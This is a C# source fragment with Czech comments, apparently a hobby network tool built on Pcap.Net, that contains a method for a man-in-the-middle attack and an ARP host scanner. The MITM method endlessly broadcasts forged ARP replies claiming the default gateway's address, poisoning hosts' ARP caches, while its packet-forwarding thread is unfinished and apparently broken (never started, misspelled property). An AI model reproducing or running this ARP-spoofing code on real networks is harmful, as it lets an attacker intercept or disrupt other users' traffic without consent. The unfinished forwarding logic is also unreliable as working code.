// útok man in the middle (TODO nějak zařídit routování packetů co přijdou)
public void MITM()
{
// pokus o todo
new Thread(new ThreadStart
(
delegate()
{
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
var result = pc.ReceivePacket(out Packet p);
if (result == PacketCommunicatorReceiveResult.Ok)
{
if (UIntToIp(p.Ethernet.IpV4.Destination.ToValue()).ToString() == DefaultGw.ToString() || InNetwork(UIntToIp(p.Ethernet.IpV4.Destination.ToValue())))
{
#if DEBUG
Console.WriteLine("foreign packet");
#endif
p.Ethernet.GetType().GetProperty("Destionation").SetValue(p.Ethernet, new MacAddress(Devices.First(x => x.IpAddr.ToString() == DefaultGw.ToString()).HardwareAddrString));
}
}
}
}
));
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (true)
{
Packet p = PacketBuilder.Build
(
DateTime.Now,
new EthernetLayer
{
EtherType = EthernetType.None,
Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
Source = new MacAddress(PhysicalAddrString)
},
new ArpLayer
{
Operation = ArpOperation.Reply,
ProtocolType = EthernetType.IpV4,
SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
SenderProtocolAddress = Array.AsReadOnly(DefaultGw.GetAddressBytes()),
TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
TargetProtocolAddress = Array.AsReadOnly(BroadCast.GetAddressBytes())
}
);
pc.SendPacket(p);
Thread.Sleep(5000);
}
}
}
// proscanování sítě pomocí arp
public Device[] Scan(IPAddress start, IPAddress end, int tries)
{
List <Device> devices = new List <Device>();
bool tmp = true;
// zaznamenávání příchozích packetů
new Thread(new ThreadStart(delegate()
{
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
while (tmp)
{
var result = pc.ReceivePacket(out Packet p);
if (result == PacketCommunicatorReceiveResult.Ok)
{
if (p.Ethernet.EtherType == EthernetType.Arp && p.Ethernet.Arp.Operation == ArpOperation.Reply)
{
var temp = new Device(p.Ethernet.Arp.SenderProtocolAddress.ToArray(), p.Ethernet.Arp.SenderHardwareAddress.ToArray(), null);
//Console.WriteLine(temp.ToString());
if (!devices.Any(x => x.Compare(temp)))
{
devices.Add(temp);
}
}
}
}
}
})).Start();
// vysílání arp packetů
using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
{
for (int i = 0; i < tries; i++)
{
foreach (var addr in PosibleAddresses(start, end))
{
Packet p = PacketBuilder.Build
(
DateTime.Now,
new EthernetLayer
{
EtherType = EthernetType.None,
Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
Source = new MacAddress(PhysicalAddrString)
},
new ArpLayer
{
Operation = ArpOperation.Request,
ProtocolType = EthernetType.IpV4,
SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
SenderProtocolAddress = Array.AsReadOnly(Address.GetAddressBytes()),
TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
TargetProtocolAddress = Array.AsReadOnly(addr.GetAddressBytes())
}
);
pc.SendPacket(p);
#if DEBUG
Console.WriteLine(addr.ToString());
#endif
}
}
tmp = false;
}
return(devices.ToArray());
}